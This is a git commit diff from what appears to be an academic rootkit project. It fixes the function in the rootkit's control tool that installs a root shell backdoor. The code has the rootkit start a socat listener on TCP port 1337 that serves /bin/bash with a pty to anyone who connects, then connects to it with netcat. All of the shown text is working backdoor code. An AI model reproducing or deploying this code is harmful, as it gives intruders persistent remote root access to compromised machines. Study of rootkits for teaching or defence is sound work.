commit 1358f6c4d1a90bae8a6c4f003149df54b0be50ef
parent 3bf571832b6eae2da94ea49b58a4f3c00893ae6b
Author: deurzen <m.deurzen@tum.de>
Date: Sun, 6 Dec 2020 20:51:40 +0100
fixes install root shell backdoor issue
Diffstat:
1 file changed, 4 insertions(+), 10 deletions(-)
diff --git a/src/rkctl/rkctl.c b/src/rkctl/rkctl.c
@@ -150,26 +150,20 @@ handle_backdoor(void *arg)
int
handle_shellbd(void *arg)
{
- static const char *socat_cmd = "socat tcp4-listen:1337,reuseaddr,fork"
+ static const char *socat_cmd = "socat"
+ " tcp4-listen:1337,reuseaddr,fork"
" exec:/bin/bash,pty,stderr,setsid";
issue_ioctl(G7_BACKDOOR, socat_cmd);
static char *argv[] = {
"sh",
- "-c"
+ "-c",
"nc 127.0.0.1 1337",
NULL
};
- static char *envp[] = {
- "HOME=/",
- "TERM=linux",
- "PATH=/sbin:/bin:/usr/sbin:/usr/bin",
- NULL
- };
-
- return execve(argv[0], argv, envp);
+ return execv(argv[0], argv);
}
int